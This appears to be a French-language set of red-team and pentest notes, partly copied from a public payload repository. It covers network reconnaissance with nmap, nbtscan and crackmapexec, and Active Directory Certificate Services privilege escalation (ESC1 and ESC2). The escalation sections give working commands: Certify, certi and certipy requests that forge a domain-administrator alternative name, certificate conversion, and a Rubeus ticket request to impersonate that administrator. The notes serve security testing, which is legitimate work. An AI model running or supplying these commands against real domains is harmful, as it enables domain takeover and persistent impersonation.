
Notes et expériences RedTeam/Pentest testées sur plusieurs infrastructures liées à des engagements professionnels.
Notes accessibles publiquement sur mes expériences de pentesting/red teaming testées sur plusieurs environnements/infrastructures contrôlées impliquant l'utilisation de divers outils et techniques utilisés par les testeurs d'intrusion et les redteamers lors d'une évaluation de sécurité.
Nous accueillons les contributions sous forme de pull requests sur GitHub.
Remerciements et félicitations aux personnes qui ont fait le gros du travail
Avertissement
À des fins éducatives uniquement, utilisez-le à vos propres risques.
Recueillir des informations sur le nom de domaine et les machines Windows fonctionnant sur le réseau.```bash bash$ cd /usr/share/Responder/tools bash$ sudo python RunFinger.py -i 192.168.1.1/24
ou```bash
bash$ responder-RunFinger
Analyse des réseaux IP pour les informations de noms NetBIOS.```bash bash$ sudo nbtscan -v -s : 192.168.1.0/24
## Crackmapexec v 4.0
Analyse la plage réseau basée sur les informations SMB```bash
bash$ cme smb 192.168.1.1/24
Scannez tout le réseau de la machine et sauvegardez les sorties .
Scan rapide```bash bash$ nmap -p 1-65535 -sV -sS -T4 -oA output target_IP
Scan intensif (Note recommandée) :```bash
bash$ nmap -p 1-65535 -Pn -A -oA output target_IP
Scan avec énumération des versions des services en cours d'exécution :
## Angry IP scanner
Téléchargez l'outil à partir de ce lien :
[Angry IP Scanner](http://angryip.org/download/#linux)
* Modifiez les paramètres de préférences
> Allez dans : Préférences -> Ports -> ajoutez 80,445,554,21 ,22 dans la sélection de ports <br>
> Allez dans : Préférences -> Affichage -> sélectionnez Hôtes actifs <br>
> Allez dans : Préférences -> Ping -> sélectionnez Combiné (UDP/TCP)
# Mouvement latéral et exploitation
### Services de certificats Active Directory
Cette partie a été copiée de https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#esc1---misconfigured-certificate-templates
<br>Pour plus de détails, consultez : https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation
(Testé en environnement privé (Bloodhound puis exploitation ESC1))
* Trouver le serveur ADCS
* `crackmapexec ldap domain.lab -u username -p password -M adcs`
* `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName`
* Énumérez les AC d'entreprise AD avec certutil : `certutil.exe -config - -ping`, `certutil -dump`
#### ESC1 - Modèles de certificats mal configurés
> Les utilisateurs du domaine peuvent s'inscrire au modèle **VulnTemplate**, qui peut être utilisé pour l'authentification client et dont l'attribut **ENROLLEE_SUPPLIES_SUBJECT** est défini. Cela permet à quiconque de s'inscrire à ce modèle et de spécifier un nom alternatif du sujet (SAN) arbitraire (par exemple en tant qu'administrateur de domaine). Permet de lier des identités supplémentaires à un certificat au-delà du sujet.
Prérequis :
* Modèle qui permet l'authentification AD
* **ENROLLEE_SUPPLIES_SUBJECT** indicateur
* [PKINIT] Authentification client, Connexion par carte à puce, Toute utilisation, ou pas d'EKU (Usage étendu/renforcé de la clé)
Exploitation :
* Utilisez [Certify.exe](https://github.com/GhostPack/Certify) pour voir s'il existe des modèles vulnérables
```ps1
Certify.exe find /vulnerable
Certify.exe find /vulnerable /currentuser
# or
PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
# or
certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
```
* Utilisez Certify, [Certi](https://github.com/eloypgz/certi) ou [Certipy](https://github.com/ly4k/Certipy) pour demander un certificat et ajouter un nom alternatif (utilisateur à usurper)
```ps1
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
certi.py req 'contoso.local/[email protected]' contoso-DC01-CA -k -n --alt-name han --template UserSAN
certipy req 'corp.local/john:[email protected]' -ca 'corp-CA' -template 'ESC1' -alt '[email protected]'
```
* Utilisez OpenSSL et convertissez le certificat, ne saisissez pas de mot de passe
```ps1
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
```
* Déplacez le cert.pfx vers le système de fichiers de la machine cible et demandez un TGT pour l'utilisateur altname en utilisant Rubeus
```ps1
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
```
**ATTENTION** : Ces certificats resteront utilisables même si l'utilisateur ou l'ordinateur réinitialise son mot de passe !
**REMARQUE** : Recherchez les indicateurs **EDITF_ATTRIBUTESUBJECTALTNAME2**, **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT**, **ManageCA**, et le relais NTLM vers les points de terminaison HTTP AD CS.
#### ESC2 - Modèles de certificats mal configurés
Prérequis :
* Permet aux demandeurs de spécifier un nom alternatif du sujet (SAN) dans la CSR ainsi que d'autoriser toute utilisation EKU (2.5.29.37.0)
Exploitation :
* Trouver le modèle ```ps1
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
/altname comme un administrateur de domaine comme dans ESC1.ESC3 se produit lorsqu'un modèle de certificat spécifie l'EKU Certificate Request Agent (Enrollment Agent). Cet EKU peut être utilisé pour demander des certificats au nom d'autres utilisateurs